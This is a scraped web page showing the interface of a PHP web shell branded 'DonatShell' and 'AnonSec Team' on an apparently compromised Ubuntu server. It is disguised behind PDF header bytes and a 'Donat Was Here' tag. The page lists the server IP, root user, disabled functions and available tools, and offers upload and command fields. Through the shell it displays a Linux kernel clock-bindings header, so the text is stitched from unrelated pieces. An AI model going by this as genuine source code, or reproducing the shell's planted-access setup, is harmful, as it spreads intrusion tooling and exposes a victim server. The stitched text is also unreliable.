%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/root/lib/modules/4.4.0-112-generic/build/include/dt-bindings/clock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /proc/11585/root/lib/modules/4.4.0-112-generic/build/include/dt-bindings/clock/stih418-clks.h
/*
 * This header provides constants clk index STMicroelectronics
 * STiH418 SoC.
 */
#ifndef _DT_BINDINGS_CLK_STIH418
#define _DT_BINDINGS_CLK_STIH418

#include "stih410-clks.h"

/* STiH418 introduces new clock outputs compared to STiH410 */

/* CLOCKGEN C0 */
#define CLK_PROC_BDISP_0        14
#define CLK_PROC_BDISP_1        15
#define CLK_TX_ICN_1            23
#define CLK_ETH_PHYREF          27
#define CLK_PP_HEVC             35
#define CLK_CLUST_HEVC          36
#define CLK_HWPE_HEVC           37
#define CLK_FC_HEVC             38
#define CLK_PROC_MIXER		39
#define CLK_PROC_SC		40
#define CLK_AVSP_HEVC		41

/* CLOCKGEN D2 */
#undef CLK_PIX_PIP
#undef CLK_PIX_GDP1
#undef CLK_PIX_GDP2
#undef CLK_PIX_GDP3
#undef CLK_PIX_GDP4

#define CLK_TMDS_HDMI_DIV2	5
#define CLK_VP9			47
#endif

Anon7 - 2022
AnonSec Team